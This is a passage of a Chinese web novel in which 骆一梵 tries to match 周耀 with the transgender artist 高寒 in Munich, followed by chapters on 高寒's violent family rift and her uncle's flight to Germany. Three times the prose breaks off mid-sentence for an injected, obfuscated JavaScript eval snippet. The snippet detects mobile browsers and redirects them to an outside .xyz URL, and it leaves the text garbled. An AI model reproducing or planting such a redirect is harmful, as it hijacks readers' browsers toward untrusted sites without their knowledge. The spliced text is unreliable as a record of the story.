“骆一梵,你没有真正的朋友,只有一位亲人,那就是你的母亲,而且你的母亲极度溺爱你,所以,无论你做什么周围都没有人会泼你冷水。” (谁说我没有朋友,沈千帆就是我的朋友,只是……) 骆一梵突然意识到,如果沈千帆还活着,或许自己就不会把日子过得跟闹着玩似的,也不一定会干这一行,说不定现在不知道就在哪个公司卷一辈子了。 有些痛,必须得时过境迁才能体会到。 “不管你做了多么荒唐的事,你母亲都会鼓励你,你的那些塑料朋友们也只会顺着你的话往下说,可每一个人都知道,你所谓的那份遗物守护师的工作既不能攒钱养活自己更不能自我提升。” (妈耶,你们男的都这么爱给人当爹吗?是我不想找好工作吗?是我不想提升吗?哪有机会啊!你行你回国上两天班试试!) “他们心里都清楚,但他们都不会说出来,忠言又逆耳又得罪人,除了真心的朋友,没人会干这件吃力不讨好的事。你做的那份工作,只会污染你的简历,白白浪费你的青春,你既养活不了自己,也实现不了你所谓的理想,到头来只是一场彻头彻尾的黄粱一梦。” 骆一梵如听惊雷。 (我的天啊,你的话也太杀人诛心了,你可太真心了,真心到我想给你头盖骨敲碎!) 眼见骆一梵瞪大眼睛不说话,周耀故意摆出一副怒其不争的样子: “骆一梵,我知道刚刚你在心里一定偷偷骂了我无数遍,但我还是希望你好好想想,你这样自由鲜活的人,真的适合在内卷的东亚生存吗?凭你自己,真的能给你母亲带来她想要的生活吗?” (卧槽,你怎么知道我在心里骂你,更卧槽的是,我居然觉得你说得有几分道理。) “那你说我该去哪?” “你学的是车辆工程专业,其实你很适合来德国留学深造,这里的工作环境还是挺轻松的。况且,德国的车企在全球都算是有口碑的,上升空间大。另外,这里留学很便宜,如果你担心难毕业,放心,拿出你高考的状态就行了。” (天哪,周耀,留学机构是不是给你广告费了,你说的天花乱坠,我差点就信了。可这年头谁不知道,在德国留学三年是我人生五年中最难忘的七年。) “可是,车企,我怎么听说现在是电车的大时代,德国那些都是燃油车,车虽然好但是卖不出去啊,好像都在裁员。”骆一梵依旧油盐不进。 “你所能看到的新闻只是他们想让你们看到的。如果德国的制造业都不景气,但就更没什么厂商是挣钱的。” 周耀早就料到劝骆一梵出国留学难度极大,他给足了耐心,做足了准备。 ……………… 周耀开始滔滔不绝口若悬河地说起德国留学之必须必要必备必争,一口气讲了足足一个多小时,都让骆一梵梦回领导开会了,头痛得不行!!! 骆一梵听得耳朵都起茧子了:“退一万步来说,我就算出国留学,那也是去西班牙,德国饭太难吃了。” “西班牙都是小偷。” “法国也挺好。” “巴黎街头都是屎。” “伦敦怎么样?” “伦敦房租很贵,你住不起。” ……………… “我不喜欢德语,德语太难听了,说话跟骂人一样。” “德语很简单,我教你,保证你三个月精通。”周耀睁着眼说瞎话。 眼看话题越陷越深,骆一梵决定使出杀手锏,嘿嘿嘿,你逼着我留学,我就逼你相亲,来吧!我们魔法对轰。 这一次,换做骆一梵一本正经一脸严肃,她看了看手机时间,差不多快9点了,是时候了! “周耀,我也有一件很严峻的事要和你说。你坐直了,把咖啡放下。” 周耀放下了咖啡杯,似乎有些期待。 “其实我和高老这次来是给你介绍对象的,对方是高寒小姐,人非常漂亮,气质特别好,非常爱猫猫,还有她那头披肩长发,像瀑布一样,我们一致觉得你俩非常配,她一会就到了,你要不要去见见。” 骆一梵的嘴像机关枪一样突突突,一股脑把话都说完了,顿觉松了一口气,开始美美地吃早餐。 她没注意到周耀脸上瞬息万变的表情,不到一秒钟,仿佛所有的喜怒哀乐悲欢离合都在他脸上过了一遍。 他无声地叹了口气,像是自嘲。 “你觉得怎么样?”骆一梵边吃边问。 周耀支支吾吾说不出来话,刚才的那个口若悬河,高高在上,十分锋利的周耀不见了。 “你特意来一趟德国就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801760|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了给我相亲?” “不然你以为呢?你不会以为我和高老爷子来这里卖画洗钱吧!” 骆一梵继续说道:“我真觉得你俩很配,你看看,你们颜值配,身高配,双商也很配,简直就是天作之合。” “周耀,你怎么不说话,你是不是对变性人有什么偏见啊,我可告诉你,她们不是洪水猛兽,她们只是在世俗的大雨里做自己而已,她们很勇敢,你可不要伤害她们。” “不应该啊,按理说你在欧洲呆那么多年,什么大风大浪没见过,你肯定比我包容得多。” 亚瑟王的圆桌似乎易了主,这一次换成了骆一梵步步紧逼。 周耀很快收拾好情绪,很潇洒很委婉地拒绝了:“我私以为,世家之女还是不要结婚比较好,她们那种身份的人,一旦结了婚,反而和幸福渐行渐远。” 骆一梵认可地点了点头,随即又猛地摇摇头:“可高老爷子一定要她结婚。” 周耀避而不谈,反而问道:“骆一梵,我记得你高中时经常读《红楼梦》,对吧?我没记错吧?” 骆一梵点点头。 “前八十回有多美,后四十回就有多痛。高门大户的女儿,哪一个不像红楼梦,在闺阁里那么无拘无束,那么锋芒毕露,才华横溢。可一旦嫁了人,马上就变成后四十回了,变得面目全非,怕是连她们自己都认不出自己了。” “穿上婚纱,人生就此被割裂成不可结合的两段,痛不可言。” 骆一梵知道这一回他狗嘴里吐出来的全是人话,说得非常对,但高老爷子跟她提过,高寒小姐在高家处境很不好,嫁出去是她目前最好的选择。 “哇哦,你刚刚说话好文艺啊!这不巧了嘛,高寒小姐也是艺术家,你看看,你们俩连灵魂都是那么契合。”骆一梵故作惊讶。 “我吃饱了。”周耀直接起身,结账走人。 他走得飞快,与其说是走,倒不如说是逃,他对这个环境感到心碎,感到窒息。 骆一梵跟在后面紧紧拉住他,“周耀,别走啊,你就算不同意,那你也跟我说说,你在德国有没有认识其他未婚适龄的好男人啊,介绍给我们认识认识啊!” “德国没有好男人。”周耀怒道。 “啥?”骆一梵不敢相信。 眼见自己失态了,周耀转而解释道:“德国没有好人,但每一个人都是他们自己。” “你会在这里见到千奇百怪的人,你能看到人类的多样性,唯独找不到那些隐藏自己喜好,压抑情感,一昧迎合世俗规训的伪善的‘好人’。” “骆小姐,你更适合呆在这里,其实你也是艺术家,只是你自己不知道罢了。”周耀丢下这句话便扬长而去。 骆一梵独自一个人在马路边凌乱,她在复盘周耀方才所说的关于女子结婚的痛不可言。 不得不说,她无比认同,结婚确实对女生而言百害而未必有一利。 她想不出来,古代的,当代的,现代的,亲戚的,邻居的,认识的,不认识的,有哪位女生是笑着走出婚姻的? 就连从小看到大的言情小说,也是男女主匆匆走近婚姻殿堂便戛然而止,作者未敢再多着墨一笔。 她被彻底说服了。 她匆忙赶到高老爷子住的地方,想把刚刚所想的一番话也说给他听,希望他收回成命,放弃他那可悲又可笑的托付。 ……………… 酒店房门外,传来一阵又一阵激烈的争吵声,骆一梵呆呆地站在门外,不敢进去。 不一会儿,一个长发女生哭着开了门,临走前,女生对里面的人说: “对不起,我大概永远都成为不了你所期望的那种亲人。” 骆一梵明明记得,高老爷子私下和她聊过,高寒小姐是他最引以为傲的晚辈,天赋耀眼,是他在国画上唯一可传衣钵的亲人。 “只是可惜,这几年她不画画了,改去照顾流浪猫了。” 直到现在,骆一梵才意识到,原来高寒小姐并不是如传闻说的那般肆意妄为,自由自在。相反,她也是破碎的,压抑的,苦苦熬着的。 她活得也挺不容易。 26.猫 高寒小姐本来夺门而出了,没走几步就撞上了骆一梵。 她走到骆一梵面前,问道:“你就是老爷子要给我介绍的对象吗?” 骆一梵震惊,指了指自己:“你是在说我吗?” 高寒目光锐利,冷冷道:“我虽然是同性恋,但我不瞎,别随便给我介绍对象。我喜欢T一点的女人,不喜欢婆。” 骆一梵惊得眼珠子都要掉嘴上了。 (给我三秒钟,让我捋一捋,首先,她说她是同性恋,卧槽,高老爷子误会大了。) 不过倒也可以理解,她曾经是男人,现在又变成了女人,她不说清楚,这谁知道她到底同的是哪一个性恋! 爷不知孙,孙不知爷,难怪你们老吵架。 (什么,她喜欢T,她也轻而易举地把我从候选名单直接剔除了,我怎么感觉还有点失落呢!) 骆一梵呆呆地看着高寒,发现她真人比照片还要美上几倍,乌黑秀丽的长发,如月亮般的气质,眼神像溪水直往人内心深处流去(或许是刚哭过的缘故)。 好美,好可怜,整个人薄得像纸一样,又瘦又高,肉身彷佛碎过又重新拼接起来,给人一种疏离易碎的感觉,像橱窗里遥不可及的水晶娃娃。 “你看什么看,没见过跨性人吗?”高寒怒道。 意识到自己的视线可能冒犯到高寒小姐,骆一梵赶紧别过脸,但她还是忍不住说: “高小姐,你好美啊!” “嗯。”高寒应了声就走了。 骆一梵觉得,她很像一只傲娇的小猫咪,难怪她这么喜欢猫猫。 她走后,骆一梵就去找高老爷子了。 高老爷子站在酒店的落地窗前,默默目送着楼下的高寒,沉默良久。 骆一梵将刚刚的事告诉他,他惊讶得连手中的雪茄都拿不稳: “怎么可能,我看她以前的对象都是短头发的小伙子。” “有没有一种可能,她们是帅 T 呢!” 高阳接连抽完几只雪茄,烟雾将他完全笼罩住,骆一梵虽看不清他的表情,却也知道他一定很难过。她建议他下楼走走散散心。 中午街上的人渐渐多了,骆一梵陪着高老爷子散步,有华人认出了这位国画大师,呆呆地站在原地,嘴里小声道:“高阳”。 “不好意思,您认错人了。”高阳笑着回应。 骆一梵眼尖,发现了街对面买猫粮的高寒小姐,赶紧拉着他过去。 奇怪的是,两个人明明都看见了彼此,却都心照不宣地装作没看到,宛如陌生人般在慕尼黑街头擦肩而过。 等高寒小姐走远了,高老爷子让骆一梵去花店买几束黄玫瑰送给她。 ………… “黄玫瑰的花语是对不起,行了,我收下了。”高寒拿着花蹲在路边喂流浪猫。 “你很喜欢流浪猫啊。” “其实不喜欢,一个都不喜欢。我只是希望它们能好好地活着。”高寒淡淡道。 骆一梵一脸不解,觉得她是口是心非。 “你这样说感觉好渣啊!” 看在玫瑰花的份上,高寒幽幽解释道:“流浪猫不愿意理人,更不用讨好人,不用对着谁翻出肚皮伪装亲昵,没有主人可以依附,饿了就自己找吃的,困了就自己躲起来睡大觉。” “可是这样也很可怜啊,生病了没人照顾,也没有人给它做绝育,每天只能捡垃圾吃。虽然做了自己,但也失去了很多。”骆一梵担忧道。 “这世上哪有十全十美的事呢?”高寒起身。 “要不,我们把流浪猫都安乐死,这样它们就不用再受苦了,一了百了。”她笑着说,眼底尽是寒意。 骆一梵被吓到了,大脑告诉她,这个女人好可怕,但眼睛却在说,卧槽,这位妹妹好漂亮啊,怎么会有人美得又有书卷气又有野性。 “你好狠,一点都不像女孩子。” 高寒轻笑道:“哼,谁说女孩子一定要温柔体贴,那些不是什么好词,都是男人安的枷锁。要我说,女孩子可以恶毒,可以狠绝,可以心软,可以暴烈,只要我们想,什么都可以。” 说完,她便潇潇洒洒离去了。骆一梵望着她的背影感叹良久。 其实在这偏僻的街上,不止有流浪猫,还有很多从中东涌入德国的难民,或许来自叙利亚,或许来自巴勒斯坦。 他们没有住的地方,就躺在路边乞讨,他们所要的不多,一点面包,几块土豆就足够了。 猫猫一点点吃着罐头,他们在一旁直直地盯着,饿着肚子。他们知道,在路人眼里,自己连流浪猫都不如。 骆一梵掏出身上全部的钱,递给了他们。 她知道苦难无法比较,但她还是忍不住比较。 一个一身香奈儿,从小住在别墅养尊处优的少爷,爷爷是一代国画大师,父母也都是富商,就连姨父都是厅级的大领导。 这样的人,最大的痛苦只是世俗束缚太多,不能做自己。 与此同时,中东在打仗,无数人家破人亡。九死一生侥幸逃出来的,正在慕尼黑街头风餐露宿沿街乞讨,等候着像她那样的有钱人的施舍。 惊艳与幻灭,在慕尼黑开始,也在慕尼黑结束,整个过程只有短短一个小时。 没过多久,高寒又回来了,骆一梵觉得她真像一阵风,说来就来,说走就走,飘飘忽忽。 “咦,你居然还在这。” “你找我有什么事。” “是这样的,咱俩摆拍几张照,我回去发家族群里,你毕竟是老爷子给我介绍的对象,那帮人估计能消停一段时间。” “其实不是我。” 骆一梵把事情的原委一五一十地说了,高寒听了哈哈大笑。 “哈哈哈哈哈,笑死我了,不怕月老乱牵线,就怕老人灵机一动。” 高寒想了想,就让骆一梵把那个所谓的“对象”约出来,她要摆拍几张三人照,彻底吓死群里的长辈们。 “这下好了,我现在是男女通吃,有男朋友也有女朋友了,兼爱非攻了。三人行,必有他们死。” “这样不太好吧!他们血压受得了吗?”太抽象了,骆一梵有点接受不了。 高寒似有若无地笑,眼神却越来越狠绝,不怒而自威,吓得骆一梵赶紧答应。 晚上,骆一梵把局攒好了,只是周耀死活都不愿意和她们吃饭,高寒也不愿意说话,骆一梵决定三人还是一起看出音乐剧,大家各坐在东,西,南三角,井水不犯河水,也算是聊过,聚过,友好地洽谈过了。 “你这是在夹带私货,你自己想看音乐剧还把我们约在这。”高寒一语点破骆一梵的小九九。 “不是说不喜欢德语吗?怎么还来看德语音乐剧,你听得懂吗?”周耀也开始阴阳怪气。 “我怎么看不懂,我小时候可喜欢看罗密施耐德演的《茜茜公主》,好浪漫,这部《伊丽莎白》不就是改编茜茜公主的故事吗?” 周耀和高寒笑而不语。 “来来来,我们先把正事办了,拍几张照。”高寒一手揽着周耀,一手搂着骆一梵,举止极其亲昵。 周耀脸色铁青,骆一梵此刻则化身为没有感情的拍照机器,不停地按着自拍杆,高寒站在中间,露出天使的微笑恶魔的眼神。 “拍这么多,够了吧。” 高寒满意地点点头,大大方方发了个九宫格朋友圈。 “谢谢爷爷特意给我介绍的男朋友和女朋友,妻夫美满,我是不是可以领两本证!我们仨一起去德国看音乐剧《伊丽莎白》了,爱你们呦!” 骆一梵看到朋友圈大脑立刻宕机了,险些站不稳,周耀有点好奇,也想看看,骆一梵立马把手机锁屏。 “没什么,女孩子的朋友圈,你别看就是了。演出快开始了,赶紧进去。” 虽然骆一梵买了三个人的票,但实际真正看演出的只有她一个人。 高寒出去抽烟了,顺便在微信群里和家人开撕,大战家族群三百回合,周耀则去一旁的餐馆独自吃饭,顺便处理一些工作上的事。 当骆一梵在剧场感叹:卧槽。sisi公主好美啊!音乐很好听! 高寒在电话里歇斯底里:你们就当我死了行不行? 周耀在餐馆里吃着香肠和意大利面,味同嚼蜡。 当骆一梵为公主与王子的爱情感动落泪,虽然听不懂,但大为震撼。 高寒在外面嚎啕大哭,哭累了就点根烟继续抽。 周耀吃完饭,在剧场外打开随身携带的笔记本处理点工作上的事,精疲力竭。 当骆一梵疑惑不解:公主这是出轨了?怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803304|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和白衣服的男大好上了? 高寒的姨父已经踏上了飞往慕尼黑的晚班机。 周耀放下电脑,揉了揉眼睛,开始思考自己和她究竟是不是一路人,该放下吗?能放下吗? 当剧场的故事进入尾声时,骆一梵开始有点理解了公主的选择。 高寒擦干眼泪,走进剧场,看到公主被刺客杀死,低声道:恭喜,公主殿下,您自由了。 周耀不辞而别,一个人孤独地离开了剧场。 骆一梵拉着高寒谈论刚刚的演出。 “不是说sisi公主爱的是奥匈皇帝吗?可我怎么感觉她爱的一直都是那个穿白衣服的男大。” “你错了,伊丽莎白最爱的只有自由,唯有死亡,能让她解脱,能给予她自由。” “而你所谓的那个穿白衣服的人,他就是死神——Tod。” 话一甫落,高寒便又像风一样独自离开了,她似乎总是这样,一直在出走,一直在远离人群。 那部戏给了骆一梵极大的震撼,曾经她一直以为,爱是圣洁的,救赎的,唯一的,命定的,有今生没来世的…… 可是看了《伊丽莎白》之后,她才猛然明白过来,其实人并不喜欢繁华热闹和人间烟火气,我们真正喜欢的反而是自由。 她想,高寒小姐爱的也是自由。 至于周耀,他怎么一个人不说一句话就自己走了,不会是遇到啥急事了吧! 算了算了,与其担心男人,我还是留着力气待他下次骂我的时候为自己担心担心吧! ———————— 周耀一个人走在路上,内心百感交集。 他不停地告诉自己,男人不能像女人那样为情所困,一旦用情过深,这辈子就被套牢了。 爱一个人,哪怕这个人是多年念念不忘的白月光,也会让自己失去很多。 想想看,自己以后还会遇到更多惊艳的女孩,甚至说,还会有很多艳遇,如果一生只爱一个人,那亏大了。 不要把爱情太当回事,那是囚笼,只会束缚住男人。 这世上哪有什么真爱啊! 母亲说,她和父亲是真爱,他们之间没有任何利益关系,她从未借助父亲的权势给自己谋求过什么,他们是纯粹的爱情,哪怕没有名分,没有世人的祝福,永远躲藏在地下。 可他在审判席亲耳听到父亲的认罪申明,父亲说,权力是春药,他体会过后便一发不可收拾,直到坠入深渊。 母亲口中的爱情,在父亲嘴里变成了养情人玩女人,是包养,是乱搞,是周旋,是逢场作戏。 父亲出事后,他所有海誓山盟的情人们都跑得一干二净,甚至连原配都及时和他离婚划清界限。只有母亲一个人傻傻地陪他同甘共苦,把房子上交了,存款和多年的积蓄也交了,什么都没有了。 母亲本是一个重本的大学生,家庭美满,可她跟了父亲,辍学,未婚生子,躲躲藏藏,甘心做一个情妇,一个接一个堕胎,只为了满足那个人拼一个儿子的毕生愿望。这一切,她连自己的亲生父母都瞒着…… 到底是谁坠入了深渊? 爱情就是个屁。 所以,自己绝不能陷入爱情中,它会让人头脑发热,迷失自己,断送自己的大好前途。 可自己对骆一梵这些年断断续续支离破碎的情愫,算不算得上爱情呢? 用反证法可得,如果她突然变成一个满脸皱纹,圆圆胖胖的丑八怪,脸圆得像馒头,肚子鼓得像孕妇,长得还没有父亲的大老婆看着顺眼,那自己一定会觉得她很恶心吧! (所以,我爱的不是她,我爱的是这么多年心里想象的那个她,我丰富而痛苦的想象力雕琢了,美化了一个所谓的‘骆一梵’,本质上,这个‘骆一梵’可以是任何女人,本质上,我爱的只是我自己。)他终于说服了自己。 (真好啊,行至半生,我所钟爱的依旧只有我自己。)他很欣慰,长舒了一口气。 他拿起手机,给骆一梵发了微信,只有短短两行字: “经过我深思熟虑,我觉得以你的资质,你不适合在德国留学。” 发完之后,他的心突然一抽一抽地疼,他告诉自己,这几天工作太累了,需要好好休息。 这不是心痛,他的心,早就在年少时就被狗啃了。 27.高寒 赵诚的秘书高跟鞋都快踩断,写文件都快把手写断了,总算把这位领导的出国手续办好了,她在心里骂了一万句: 今总算是见识到了什么叫上面一句话,下面的人跑断腿。 “为什么不能直达慕尼黑,还要转机。”领导永远都觉得她办事不够完美。 “因为不算是私人行程,所以您要到法兰克福的驻德大使馆那里再走一个学术访问流程。”秘书弯腰笑着回答。 “算了,不管了,赶紧出发吧!”赵诚急不可耐。 (奇怪,领导这么急,该不会是要跑路吗?应该不会,这年头谁跑路往德国去啊,澳大利亚和美国不得天独厚吗?他应该没这么傻。可若不是要跑,天底下还有什么事能让他这么急?)秘书不动声色地怀疑。 “这两天我的会你到时候让小张替我参加就行了,什么决定都不要做,好好写份会议纪要,一切等我回来再拍板。” “好的。”秘书内心窃喜,哦耶,领导要出国呆几天了,我可以好好摸鱼了。 ………… 毕竟是正规的“学术交流”,赵诚在飞机上还是耐着性子把要学习和交流的文件看完了。 收入增长124.62%,官网占比36.5%,shopee占比22.3%,其他线上渠道占比23.2%…… 光是这一页数字就这么夸张,下面的年报只会更恐怖! 赵诚心里莫名窝火,下面的人都是一群废物,你就算编数据也要有个度吧!经济下行时期,文件还写得跟坐火箭似的。 下次开会一定得好好压压这股歪风。 不知怎么了,他突然就想起几年前高寒刚做完手术的时候,她是一个容不下一点迂回和苟且的“女人”。 那时候妻知道她做了变性手术,恼了好久,整日长吁短叹,从小抱到大的外甥怎么一夜之间变成了外甥女! 赵诚倒是没什么感觉,反而劝慰起妻:“你在单位干了那么多年,怎么还在用意识形态,主义,性别,出身来区分‘好人’和‘坏人’,你的思想觉悟还需要进步啊!” “老赵,你说该不会是他们高家太艺术了,从小又散养着他,事情才会变成今天这样,你说我要是从小把小寒接到这里养,会不会不一样。” “那你迟早要被双规,你这么宠他,就算他杀人放火你也会给他兜着,早晚要出大事。” 妻似乎被说服了,渐渐接受了这一事实,甚至还把刚做完手术的高寒接到自己家中疗养。 没过几天,自己还在上班,妻就火急火燎地把自己叫了回来。 “不好了,出事了,我二姐杀过来了。”彼时的他还以为杀过来是什么夸张修辞。 然后他就猝不及防地在自己家中看到了他永生难忘的一幕: 高寒和她的亲生母亲(妻的二姐)真真地缠斗在一起,互相掐着彼此的脖子,殴打着彼此,那一刻,她们彼此都想杀死对方。 二姐死命撕扯着高寒手术缝合过的伤口,其中最为紧要的便是她脖子上刚割过喉结的那处缝线,如今那块皮肤已被扯得鲜血淋漓,离主动脉只有一线之隔。 高寒一手护住自己的脖子,一只手摸索到茶几旁的酒瓶(妻最爱的blue威士忌),狠狠地往二姐头上砸。 砰的一声,酒瓶碎了,二姐倒了下去,高寒也因失血过多虚弱地倒在沙发上。 比起亲外甥,妻果然还是最爱自己的亲姐姐,她赶紧扶起二姐,对着高寒骂道: “小寒,你还有没有良心,她可是你亲妈,你就这么狠心拿酒瓶子抡你亲妈。” “哎呦我的二姐啊,你的命咋这么苦啊!”妻已嚎啕大哭。 高寒瘫在沙发上大口喘气,衣袖上全是血气,过了很久才勉勉强强站了起来,笑道: “从今以后,我是我自己的妈妈,我是我自己的女儿。” 在场所有的人都愣住了,连见过大风大浪的自己都慌了神,保姆吓得不敢出来,妻一直在哭…… 现场所有人中,只有高寒捡起了摔在地上的手机,打了120给二姐叫了救护车,然后淡定地把地上的碎酒瓶扫了。 从那一刻起,他再也没把高寒当作男人,变性人或是妻的外甥,而是一个彻彻底底的女人。 只有女人才会有这种顽强和坚韧,只有女人在天塌下来后还能冷静地把地给扫了,赵诚在她身上看到了自己母亲的影子。 二姐和高寒的母女矛盾注定不可调和,对二姐来说,若是自己的孩子没有长成自己期望的那个样子,那这个孩子不如死了。 对高寒来说,若是不能做自己,那她宁愿去死。 妻只得把高寒接过来,让她们母女老死不相往来。 高寒住下后,他发现她并不是传闻中所说的那样不堪。 相反,她善良又有才华,每天早出晚归地照顾流浪猫,猫粮都是一大包一大包扛在肩上。 她的画技是高家人中唯一得高老爷子真传,假以时日,定成一代宗师,可她却为了照顾流浪猫放弃了画画。 如果让她发现有谁欺负流浪猫,她一定会让对方付出数十倍的代价,而每每这时候,自己就得放下老脸亲自给她闯的祸事兜底。 不仅如此,自己还特意在家中为她移栽了一颗桂花树,不然,总不能看着她每年费尽心机把流浪猫的骨灰带到日本,埋在樱花树下。 S城的水土养不了樱花树,她说,桂花也很好,猫猫生前没有家,死后与草木同腐,与桂花同香,也算是魂归有处。 “既然那么喜欢流浪猫,为什么不带两只回来养。”他问道。 “这辈子,既然做了猫,就应该自由自在。” 赵诚笑道,这世上哪有什么真的自由自在,不过都是苟且地活着。 高寒不解:“姨父,您这样的人也会觉得不自在吗?” 赵诚说不出话了,何止是不自在,简直是压抑到窒息,他甚至连一句“当然,我活得最不自在”都不敢说出口。 最后,他还是极其虚伪地说出:“自由那是西方人追求的,我不怎么在意,不过我想我的生活更接近庄子所说的逍遥。” 他不得不这么说,他必须得如此,毕竟,这条路从始至终都是他自己选的。 人们只看到了他人前的风光,却无法看到他一路走来的如履薄冰,战战兢兢。 不知怎么就突然被带走几天接受调查,不知怎么就被卷入了血雨腥风中,不知怎么就得被逼着站队,不知怎么就突然被调走几年,不知从哪一天开始,每天必须得吃两片思诺思才能安眠…… 世人都说高寒疯疯癫癫,桀骜不驯,可没人知道,他有多羡慕高寒,他多想像她那样活着,快意恩仇,风风火火,无拘无束。 这一次,她不过就是在家族群里同时公开谈了一个男朋友和女朋友,这算什么离经叛道? 有的人贪污百亿,有的人为非作歹,有的人在外面养了几十个情人,这些人都没得到审判。高寒她只想做自己,她如何能算得上“丢人现眼,让家族蒙羞,让家里人抬不起头”? 二姐很快就彻底放弃了这个孩子,每年年夜饭时,她带来的都是自己课题组的研究生或博士生。 “我倒觉得,我和XXX学生更像亲母子呢!”二姐谈笑风生。 察言观色多年,他一眼就看出那些学生只是为了毕业证拼命讨好二姐,待拿到毕业证后,绝不会再和二姐有过多联系。 他终于理解了二姐夫年纪轻轻为什么要出家了。 二姐在人前闭口不提高寒,反而总是谈起她引以为傲的学生们,如数家珍,谁又发了一篇核心期刊,谁又做出了什么学术成果,谁找的工作多么好,这么年轻就是技术骨干…… 她家的照片墙,几乎变成了优秀校友会展览,没有什么亲人的照片。 女儿见此,有时也会惶惶然,她私下问过自己: “爸爸,如果我没考到重点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827227|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高中,你会不会就不喜欢我?” “爸爸,如果我减不了肥,你会不会把我送走?” “爸爸,我没有那么优秀,你是不是很失望?” ………… 每每这个时候,他都会骤然停下手中的一切工作,蹲下身,一字一句地告诉女儿: “宝贝,爸爸永远爱你,爸爸只希望你每天开开心心。” “真的?” “宝贝,爸爸一点也不需要你有多优秀多成功,你要相信,真正爱孩子的父母不管孩子变成什么样都会爱他们的。” 看透父母真是人生中最难的一门功课,他不希望自己的女儿也受这等苦。 而自己在这门功课中从来都不及格。 他的母亲是一个坚毅不服输的女人,哪怕丈夫抛妻弃子,婆母苛待,依旧能把事业和家庭都经营得风生水起。 至于父亲,他记不太清了。 唯一记得的便是,母亲常对他念叨着:都是因为你没出息,整天就知道玩,你爹才不要咱娘俩了。 于是他改性情,收棱角,修心性,努力出人头地,努力做父母期望的成功人士。 付出极大的代价,他做到了,当然,母亲以他为傲。 可父亲还是没有回来。 他渐渐觉得,以他如今的身份,父亲给他提鞋都配不上,从始至终,都是父亲配不上他们母子。 “我那是为了激励你上进,要不是我一直鞭策着你,你能有今天?”多年后,母亲一脸骄傲地道出当年真相。 后来母亲病重不治时,医生已经束手无策,他却死活不同意拔管,所有人都劝他放弃吧,让老太太走时少受点罪。 “我还没有等到她跟我说对不起,她就要走了?”他哭着对妻说,最后,是妻大手一挥签的字,拔的管。 妻真是个狠人。 看到高寒在德国“搞变态”,妻立马要冲到德国撕烂高寒的嘴。他千拦万拦,都没拦住。 幸好妻的工作单位特殊,出国卡得死死的,怎么疏通手续都下不来,这才避免了一场血战。 去不成,她就给自己下了最后通牒,让自己务必一周之内把高寒抓回国。 妻已经变得和她二姐一样,是真的想让她死。 为什么呢?你们明明也曾有过一起去迪士尼,一起野餐,一起办生日party的幸福时光,你们曾有过那么多桃李春风一杯酒的浪漫日子,怎么会变成如今这副你死我活的模样? 家族的颜面真这么重要吗?高家,赵家,韩家,三十年河东,三十年河西,现在看是风光,说不定哪天就被一窝端了。 大家族的流言确实杀人于无形,自己平时不过是多关照了些高寒,坊间就沸沸扬扬传起了“姨父”与“外甥”的不伦之恋。 加之高寒是变性人,更是给传言增添了一抹神秘色彩,惹得大家都信以为真,连高老爷子都将信将疑,急着把高寒嫁出去。 他还得特意去高家向高老爷子亲自说明原委,“这些都是官场的那些死对头搞出来的风言风语,高阳大师,谣言止于智者啊!” “可你确实对高寒有所不同,以你的经历,按理说应该比我们这些搞艺术的还要保守十倍,可高寒这个事,你反而是看得最开的。” 他开始意识到一代大师真是老了,关心则乱,连最基本的事实判断都做不准确了。 母亲临走前也是整日疑神疑鬼,把过去的陈芝麻烂谷子的事翻过来倒过去想。 她总说,我这一辈子都是为了你啊! ………… 飞机突然一阵颠簸,想来应该是遇到什么气流了,他凭窗往下望,远处有一座雪山。 或许几秒后,飞机会撞上那座雪山,或许不会。不过没关系,我们的命都在机长手里握着,我们死了,他也绝对活不了。 想到这,他欣慰了,他相信再窒息的亲情还是要不了人命,一如他坚信坚信飞机不会撞上冰山。 28.高阳之死 几天前,S城,杜嵩快步来到文博馆,无人阻拦,他直接进到三楼包厢,惴惴不安地将三幅画交与金主。 文博馆是中式建筑,而整个三楼却是清一色的欧式装修,酒柜,咖啡机,办公室高尔夫,壁炉,玻璃桌画上正缓缓铺陈开来三幅古色古香的水墨画,一切都显得不伦不类。 高墨拿起其中一幅,只扫了一眼便丢在一边。 “摹了三年,就摹了三幅画,算下来也就一年一幅画,老杜,我要是指望你早就饿死了!” 杜嵩心中无奈,三年三幅,这已经算是快马加鞭了,按他原计划,得十年才能摹出这三幅。 大师的画,要是那么好模仿,那岂不是人人皆大师? 为了摹画,他昼夜不停,直接把老婆孩子丢在老家,三年不闻不问一心临摹,为了省通勤时间,他咬咬牙交了巨额房租,直接搬来了文博馆对面街上。 